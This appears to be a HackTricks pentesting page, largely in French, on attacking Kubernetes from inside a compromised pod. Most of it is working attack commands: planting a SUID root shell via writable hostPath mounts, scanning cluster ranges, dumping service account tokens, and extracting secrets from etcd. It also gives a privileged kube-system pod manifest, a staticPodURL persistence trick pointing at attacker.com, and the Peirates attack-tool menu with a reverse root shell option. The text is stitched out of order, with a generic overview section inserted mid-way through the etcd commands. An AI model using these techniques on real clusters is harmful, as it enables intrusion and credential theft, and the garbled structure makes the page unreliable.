hacktricks-cloud/src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md

Attacking Kubernetes from inside a Pod

{{#include ../../banners/hacktricks-training.md}}

Pod Breakout

Si vous avez de la chance, vous pourrez peut-être en sortir vers le node:

Escaping from the pod

Afin d’essayer d’escape des pods, vous devrez peut-être d’abord escalate privileges, voici quelques techniques pour le faire:

{{#ref}} https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html {{#endref}}

Vous pouvez consulter ces docker breakouts to try to escape d’un pod que vous avez compromis:

{{#ref}} https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/index.html {{#endref}}

Abusing writable hostPath/bind mounts (container -> host root via SUID planting)

Si un pod/container compromis dispose d’un volume en écriture mappé directement sur le filesystem de l’hôte (Kubernetes hostPath ou Docker bind mount), et que vous pouvez devenir root à l’intérieur du container, vous pouvez exploiter le mount pour créer un binaire setuid-root sur l’hôte puis l’exécuter depuis l’hôte pour pop root.

Conditions clés:

• Le volume monté est inscriptible depuis l’intérieur du container (readOnly: false et les permissions du filesystem autorisent l’écriture).
• Le filesystem de l’hôte qui supporte le mount n’est pas monté avec l’option nosuid.
• Vous avez un moyen d’exécuter le binaire planté sur l’hôte (par exemple, un autre accès SSH/RCE sur l’hôte, un user sur l’hôte peut l’exécuter, ou un autre vecteur qui exécute des binaires depuis ce chemin).

Comment identifier les hostPath/bind mounts inscriptibles:

• Avec kubectl, vérifiez les volumes hostPath: kubectl get pod -o jsonpath='{.spec.volumes[*].hostPath.path}'
• Depuis l’intérieur du container, listez les mounts et cherchez les host-path mounts, puis testez la capacité d’écriture:

# Inside the compromised container
mount | column -t
cat /proc/self/mountinfo | grep -E 'host-path|kubernetes.io~host-path' || true
findmnt -T / 2>/dev/null | sed -n '1,200p'
# Test if a specific mount path is writable
TEST_DIR=/var/www/html/some-mount  # replace with your suspected mount path
[ -d "$TEST_DIR" ] && [ -w "$TEST_DIR" ] && echo "writable: $TEST_DIR"
# Quick practical test
printf "ping\n" > "$TEST_DIR/.w"

Planter un binaire setuid root depuis le container:

# As root inside the container, copy a static shell (or /bin/bash) into the mounted path and set SUID/SGID
MOUNT="/var/www/html/survey"   # path inside the container that maps to a host directory
cp /bin/bash "$MOUNT/suidbash"
chmod 6777 "$MOUNT/suidbash"
ls -l "$MOUNT/suidbash"
# -rwsrwsrwx 1 root root 1234376 ... /var/www/html/survey/suidbash

Exécuter sur l'hôte pour obtenir root :

# On the host, locate the mapped path (e.g., from the Pod spec .spec.volumes[].hostPath.path or by prior enumeration)
# Example host path: /opt/limesurvey/suidbash
ls -l /opt/limesurvey/suidbash
/opt/limesurvey/suidbash -p   # -p preserves effective UID 0 in bash

Notes et troubleshooting:

• Si le host mount a nosuid, les bits setuid seront ignorés. Vérifiez les options de montage sur le host (cat /proc/mounts | grep ) et cherchez nosuid.
• Si vous ne pouvez pas obtenir un host execution path, des writable mounts similaires peuvent être exploités pour écrire d’autres persistence/priv-esc artifacts sur le host si le répertoire mappé est critique pour la sécurité (par ex., ajouter une root SSH key si le mount mappe vers /root/.ssh, déposer un cron/systemd unit s’il mappe vers /etc, remplacer un binaire appartenant à root dans le PATH que le host exécutera, etc.). La faisabilité dépend entièrement du path monté.
• Cette technique fonctionne aussi avec de simples Docker bind mounts ; dans Kubernetes, il s’agit généralement d’un hostPath volume (readOnly: false) ou d’un subPath mal délimité.

Abusing Kubernetes Privileges

Comme expliqué dans la section sur kubernetes enumeration :

{{#ref}} kubernetes-enumeration.md {{#endref}}

En général, les pods sont exécutés avec un service account token à l’intérieur. Ce service account peut avoir certains privileges attachés que vous pourriez abuse pour move vers d’autres pods ou même pour escape vers les nodes configurés dans le cluster. Voyez comment dans :

{{#ref}} abusing-roles-clusterroles-in-kubernetes/ {{#endref}}

Abusing Cloud Privileges

Si le pod est exécuté dans un cloud environment, il est possible de leak a token from the metadata endpoint et d’escalader les privileges en l’utilisant.

Search vulnerable network services

Comme vous êtes à l’intérieur de l’environnement Kubernetes, si vous ne pouvez pas escalader les privileges en abusant des privileges du pod actuel et que vous ne pouvez pas vous échapper du container, vous devez chercher des services potentiellement vulnérables.

Services

À cette fin, vous pouvez essayer d’obtenir tous les services de l’environnement kubernetes:

kubectl get svc --all-namespaces

Par défaut, Kubernetes utilise un schéma de réseau plat, ce qui signifie que tout pod/service dans le cluster peut communiquer avec les autres. Les namespaces au sein du cluster n'ont aucune restriction de sécurité réseau par défaut. Toute personne dans le namespace peut communiquer avec les autres namespaces.

Scanning

Le script Bash suivant (tiré d'un Kubernetes workshop) installera et analysera les plages IP du cluster kubernetes :

sudo apt-get update
sudo apt-get install nmap
nmap-kube ()
{
nmap --open -T4 -A -v -Pn -p 80,443,2379,8080,9090,9100,9093,4001,6782-6784,6443,8443,9099,10250,10255,10256 "${@}"
}

nmap-kube-discover () {
local LOCAL_RANGE=$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,');
local SERVER_RANGES=" ";
SERVER_RANGES+="10.0.0.1 ";
SERVER_RANGES+="10.0.1.* ";
SERVER_RANGES+="10.*.0-1.* ";
nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
}
nmap-kube-discover

Découvrez la page suivante pour apprendre comment vous pourriez attack Kubernetes specific services afin de compromise other pods/all the environment :

{{#ref}} pentesting-kubernetes-services/ {{#endref}}

Sniffing

Dans le cas où le compromised pod exécute un service sensible auquel d’autres pods doivent s’authentifier, vous pourriez être en mesure d’obtenir les credentials envoyés par les autres pods en sniffing local communications.

Network Spoofing

Par défaut, des techniques comme ARP spoofing (et grâce à cela DNS Spoofing) fonctionnent dans le réseau kubernetes. Donc, à l’intérieur d’un pod, si vous avez la NET_RAW capability (qui est présente par défaut), vous pourrez envoyer des paquets réseau forgés sur mesure et effectuer des MitM attacks via ARP Spoofing to all the pods running in the same node.
De plus, si le malicious pod s’exécute sur le same node as the DNS Server, vous pourrez effectuer une DNS Spoofing attack to all the pods in cluster.

{{#ref}} kubernetes-network-attacks.md {{#endref}}

Node DoS

Il n’y a pas de spécification des ressources dans les manifests Kubernetes et not applied limit ranges pour les conteneurs. En tant qu’attaquant, nous pouvons consume all the resources where the pod/deployment running et affamer les autres ressources, ce qui provoque un DoS pour l’environnement.

Cela peut être fait avec un outil comme stress-ng:

stress-ng --vm 2 --vm-bytes 2G --timeout 30s

Vous pouvez voir la différence pendant l’exécution de stress-ng et après

kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx

Node Post-Exploitation

If you managed to escape from the container there are some interesting things you will find in the node:

• The Container Runtime process (Docker)
• More pods/containers running in the node you can abuse like this one (more tokens)
• The whole filesystem and OS in general
• The Kube-Proxy service listening
• The Kubelet service listening. Check config files:
• Directory: /var/lib/kubelet/
• /var/lib/kubelet/kubeconfig
• /var/lib/kubelet/kubelet.conf
• /var/lib/kubelet/config.yaml
• /var/lib/kubelet/kubeadm-flags.env
• /etc/kubernetes/kubelet-kubeconfig
• /etc/kubernetes/admin.conf --> kubectl --kubeconfig /etc/kubernetes/admin.conf get all -n kube-system
• Other kubernetes common files:
• $HOME/.kube/config - User Config
• /etc/kubernetes/kubelet.conf- Regular Config
• /etc/kubernetes/bootstrap-kubelet.conf - Bootstrap Config
• /etc/kubernetes/manifests/etcd.yaml - etcd Configuration
• /etc/kubernetes/pki - Kubernetes Key

Image Pull and Registry Credentials

After node access, also review how the node pulls private images. Useful evidence includes runtime image metadata (crictl images), Pod or ServiceAccount imagePullSecrets, containerd registry configuration such as /etc/containerd/config.toml and /etc/containerd/certs.d, and kubelet image credential provider flags such as --image-credential-provider-config and --image-credential-provider-bin-dir.

Do not assume that a cached private image means you have reusable registry credentials. It might only prove that the image exists on this node. However, static runtime registry credentials, Docker config JSON pull secrets, or a credential provider that can mint short-lived pull credentials can expose private registry access. Recent Kubernetes versions also support service-account-token based kubelet credential providers for image pulls, so check whether the provider is using Pod-bound service account tokens and which audience it requests before reporting the impact.

Find node kubeconfig

If you cannot find the kubeconfig file in one of the previously commented paths, check the argument --kubeconfig of the kubelet process:

ps -ef | grep kubelet
root        1406       1  9 11:55 ?        00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal

Voler des Secrets

# Check Kubelet privileges
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system

# Steal the tokens from the pods running in the node
# The most interesting one is probably the one of kube-system
ALREADY="IinItialVaaluE"
for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do
TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
ALREADY="$ALREADY|$TOKEN"
echo "Directory: $i"
echo "Namespace: $(cat $i)"
echo ""
echo $TOKEN
echo "================================================================================"
echo ""
fi
done

Le script can-they.sh va automatiquement récupérer les tokens des autres pods et vérifier s’ils ont la permission que vous recherchez (au lieu de les chercher un par un) :

./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code

DaemonSets privilégiés

Un DaemonSet est un pod qui sera run sur tous les nodes du cluster. Par conséquent, si un DaemonSet est configuré avec un privileged service account, sur TOUS les nodes tu pourras trouver le token de ce privileged service account que tu pourrais abuse.

L’exploit est le même que dans la section précédente, mais tu ne dépends plus de la chance.

Pivot to Cloud

Si le cluster est géré par un cloud service, en général le Node aura un accès différent au metadata endpoint que le Pod. Donc, essaie d’accéder au metadata endpoint depuis le node (ou depuis un pod avec hostNetwork à True) :

{{#ref}} kubernetes-pivoting-to-clouds.md {{#endref}}

Steal etcd

Si tu peux spécifier le nodeName du Node qui exécutera le container, obtien un shell dans un control-plane node et récupère la etcd database :

kubectl get nodes
NAME                STATUS   ROLES    AGE   VERSION
k8s-control-plane   Ready    master   93d   v1.19.1
k8s-worker          Ready    <none>   93d   v1.19.1

control-plane nodes ont le rôle master et, dans les cloud managed clusters, vous ne pourrez rien y exécuter.

Lire les secrets depuis etcd 1

Si vous pouvez exécuter votre pod sur un control-plane node en utilisant le sélecteur nodeName dans le pod spec, vous pourriez avoir un accès facile à la base de données etcd, qui contient toute la configuration du cluster, y compris tous les secrets.

Ci-dessous se trouve une méthode rapide et sale pour récupérer des secrets depuis etcd s’il s’exécute sur le control-plane node sur lequel vous êtes. Si vous voulez une solution plus élégante qui lance un pod avec l’utilitaire client etcd etcdctl et utilise les credentials du control-plane node pour se connecter à etcd où qu’il s’exécute, consultez cet example manifest de @mauilion.

Vérifiez si etcd s’exécute sur le control-plane node et voyez où se trouve la database (c’est sur un cluster créé avec kubeadm)

root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir

Lorsqu'un attaquant compromet un Pod dans un cluster Kubernetes, il peut souvent l'utiliser comme point d'appui pour découvrir des secrets, se déplacer latéralement et, dans certains cas, prendre le contrôle du cluster entier.

Dans cette section, nous verrons quelques techniques courantes pour attaquer Kubernetes depuis l'intérieur d'un Pod.

data-dir=/var/lib/etcd

Afficher les données dans la base de données etcd :

strings /var/lib/etcd/member/snap/db | less

Extraire les tokens de la database et afficher le nom du service account

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done

Même commande, mais quelques grep pour ne renvoyer que le token par défaut dans le namespace kube-system

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default

Attacking Kubernetes from inside a pod

Une fois que tu as un accès à un pod sur le cluster, il y a quelques choses que tu peux faire pour tenter de trouver des informations d’intérêt :

• BypassRBAC
  Si le pod est monté avec le service account token, tu peux l’utiliser pour interagir avec l’API Kubernetes. Selon les permissions du service account, tu pourrais être capable de lister des ressources sensibles, de créer de nouveaux pods, de lire des secrets, etc.

• Access the node
  Si le pod est en mode privileged, a des capacités supplémentaires, ou monte des volumes sensibles, tu pourrais potentiellement accéder au node hôte.

• Lateral movement
  Tu peux inspecter le réseau interne, les services, les ConfigMap, les secrets, et d’autres workloads pour trouver d’autres cibles ou des credentials réutilisables.

• Escape to the cloud
  Si le pod a accès à des credentials cloud via des variables d’environnement, des volumes montés, ou l’identité du node, tu peux peut-être pivoter vers le compte cloud sous-jacent.

• Persistence
  Avec les bonnes permissions, un attaquant peut créer des objets Kubernetes persistants, comme des DaemonSet, des CronJob, ou modifier des workloads existants pour conserver l’accès.

Reconnaissance de base depuis un pod

Quelques vérifications utiles :

hostname
id
env
mount
cat /etc/resolv.conf
cat /var/run/secrets/kubernetes.io/serviceaccount/token

Vérifie aussi si le pod peut joindre l’API server :

curl -k https://kubernetes.default.svc

Si tu peux accéder à l’API, essaie d’utiliser le service account token pour lister les ressources :

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api

Découverte de permissions

Tu peux tester ce que le service account est autorisé à faire :

kubectl auth can-i --list

Si kubectl n’est pas installé, tu peux faire des requêtes directes à l’API avec le token.

Secrets et ConfigMap

Les secrets sont souvent une source d’accès vers d’autres systèmes. Vérifie si tu peux les lire :

kubectl get secrets
kubectl get secret <name> -o yaml

Les ConfigMap peuvent aussi contenir des informations sensibles, comme des endpoints internes, des identifiants non secrets, ou des indices sur l’architecture.

Volumes montés

Regarde quels volumes sont montés dans le pod :

mount
df -h
ls -la /var/run/secrets/kubernetes.io/serviceaccount/

Des montages intéressants peuvent inclure :

• des volumes hostPath
• des docker.sock
• des secrets projetés
• des certificats ou clés TLS
• des données d’autres applications

Accès au node

Si tu peux accéder à des fichiers du node via un hostPath, cherche :

• /etc/kubernetes/
• /var/lib/kubelet/
• /var/lib/docker/
• /run/containerd/
• /root/.kube/
• des fichiers de configuration cloud

Avec un accès suffisant, il peut être possible d’écrire sur le filesystem du node ou d’exécuter du code sur celui-ci.

Mouvement latéral dans le cluster

Depuis un pod, tu peux scanner le réseau du cluster :

nmap -sn 10.0.0.0/8

ou interroger les services DNS et Kubernetes :

nslookup kubernetes.default
nslookup etcd.default

Cherche aussi :

• des services exposés sans authentification
• des bases de données internes
• des dashboards
• des endpoints d’administration
• des credentials réutilisables dans les environnements

Erreurs fréquentes

• suppositions de confiance entre namespaces
• service accounts trop permissifs
• secrets montés inutilement
• conteneurs privileged
• montages hostPath
• policies réseau absentes ou trop larges

Défense

Pour réduire le risque :

• applique le moindre privilège aux service accounts
• évite les conteneurs privileged
• limite hostPath
• utilise des network policies
• protège l’API server
• fais tourner les workloads avec des droits minimaux
• surveille l’usage anormal des secrets et de l’API Kubernetes

1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]

Lire les secrets depuis etcd 2 from here

1. Créez un snapshot de la base de données etcd. Consultez ce script pour plus d'informations.
2. Transférez le snapshot etcd hors du node de la manière de votre choix.
3. Décompressez la base de données :

mkdir -p restore ; etcdutl snapshot restore etcd-loot-backup.db \ --data-dir ./restore

4. Démarrez etcd sur votre machine locale et faites-lui utiliser le snapshot volé :

etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./etcd-loot-backup.db'

5. Lister tous les secrets :

etcdctl get "" --prefix --keys-only | grep secret

6. Obtenir les secrets:

etcdctl get /registry/secrets/default/my-secret

Static/Mirrored Pods Persistence

Les Static Pods sont gérés directement par le daemon kubelet sur un nœud spécifique, sans que le API server les observe. Contrairement aux Pods gérés par le control plane (par exemple, un Deployment) ; à la place, le kubelet surveille chaque static Pod (et le redémarre s’il échoue).

Par conséquent, les static Pods sont toujours liés à un seul Kubelet sur un nœud spécifique.

Le kubelet essaie automatiquement de créer un mirror Pod sur le Kubernetes API server pour chaque static Pod. Cela signifie que les Pods s’exécutant sur un nœud sont visibles sur le API server, mais ne peuvent pas être contrôlés depuis celui-ci. Les noms des Pods auront un suffixe correspondant au hostname du nœud, précédé d’un tiret.

Caution

Le spec d’un static Pod ne peut pas faire référence à d’autres objets API (par exemple, ServiceAccount, ConfigMap, Secret, etc. Donc vous ne pouvez pas abuser de ce comportement pour lancer un pod avec un serviceAccount arbitraire sur le nœud actuel afin de compromettre le cluster. Mais vous pourriez l’utiliser pour exécuter des pods dans différents namespaces (si cela est utile pour une raison quelconque).

Si vous êtes sur l’hôte du nœud, vous pouvez le faire créer un static pod en son sein même. C’est très utile car cela peut vous permettre de créer un pod dans un namespace différent comme kube-system.

Afin de créer un static pod, la docs sont d’une grande aide. Vous avez essentiellement besoin de 2 choses :

• Configurer le paramètre --pod-manifest-path=/etc/kubernetes/manifests dans le service kubelet, ou dans la kubelet config (staticPodPath) et redémarrer le service
• Créer la définition du pod definition dans /etc/kubernetes/manifests

Une autre méthode plus stealth serait de :

• Modifier le paramètre staticPodURL dans le fichier de configuration de kubelet et définir quelque chose comme staticPodURL: http://attacker.com:8765/pod.yaml. Cela fera en sorte que le processus kubelet crée un static pod en récupérant la configuration depuis l’URL indiquée.

Example de configuration de pod pour créer un privilege pod dans kube-system pris de here:

apiVersion: v1
kind: Pod
metadata:
name: bad-priv2
namespace: kube-system
spec:
containers:
- name: bad
hostPID: true
image: gcr.io/shmoocon-talk-hacking/brick
stdin: true
tty: true
imagePullPolicy: IfNotPresent
volumeMounts:
- mountPath: /chroot
name: host
securityContext:
privileged: true
volumes:
- name: host
hostPath:
path: /
type: Directory

Supprimer des pods + nœuds unschedulable

Si un attaquant a compromised un node et qu’il peut delete pods depuis d’autres nodes et make other nodes not able to execute pods, les pods seront relancés sur le node compromis et il pourra steal the tokens exécutés dedans.
Pour plus d’infos, suivez ce lien.

Automatic Tools

• https://github.com/inguardians/peirates

Peirates v1.1.8-beta by InGuardians
https://www.inguardians.com/peirates
----------------------------------------------------------------
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
[+] Certificate Authority Certificate: true
[+] Kubernetes API Server: https://10.116.0.1:443
[+] Current hostname/pod name: dashboard-56755cd6c9-n8zt9
[+] Current namespace: prd
----------------------------------------------------------------
Namespaces, Service Accounts and Roles |
---------------------------------------+
[1] List, maintain, or switch service account contexts [sa-menu]  (try: listsa *, switchsa)
[2] List and/or change namespaces [ns-menu] (try: listns, switchns)
[3] Get list of pods in current namespace [list-pods]
[4] Get complete info on all pods (json) [dump-pod-info]
[5] Check all pods for volume mounts [find-volume-mounts]
[6] Enter AWS IAM credentials manually [enter-aws-credentials]
[7] Attempt to Assume a Different AWS Role [aws-assume-role]
[8] Deactivate assumed AWS role [aws-empty-assumed-role]
[9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu]
-------------------------+
Steal Service Accounts   |
-------------------------+
[10] List secrets in this namespace from API server [list-secrets]
[11] Get a service account token from a secret [secret-to-sa]
[12] Request IAM credentials from AWS Metadata API [get-aws-token] *
[13] Request IAM credentials from GCP Metadata API [get-gcp-token] *
[14] Request kube-env from GCP Metadata API [attack-kube-env-gcp]
[15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloudonly) [attack-kops-gcs-1]  *
[16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1]
--------------------------------+
Interrogate/Abuse Cloud API's   |
--------------------------------+
[17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls]
[18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects]
-----------+
Compromise |
-----------+
[20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount]
[21] Run command in one or all pods in this namespace via the API Server [exec-via-api]
[22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet]
-------------+
Node Attacks |
-------------+
[30] Steal secrets from the node filesystem [nodefs-steal-secrets]
-----------------+
Off-Menu         +
-----------------+
[90] Run a kubectl command using the current authorization context [kubectl [arguments]]
[] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all [arguments]]
[91] Make an HTTP request (GET or POST) to a user-specified URL [curl]
[92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i]
[93] Run a simple all-ports TCP port scan against an IP address [tcpscan]
[94] Enumerate services via DNS [enumerate-dns] *
[]  Run a shell command [shell <command and arguments>]

[exit] Exit Peirates

• https://github.com/r0binak/MTKPI

Références

• Forgotten (HTB) - Writable bind mount SUID planting
• Kubernetes hostPath volume
• Docker bind mounts
• Bash -p (preserve privileges)
• mount(8) nosuid option
• Peirates (Kubernetes attack tool)

{{#include ../../banners/hacktricks-training.md}}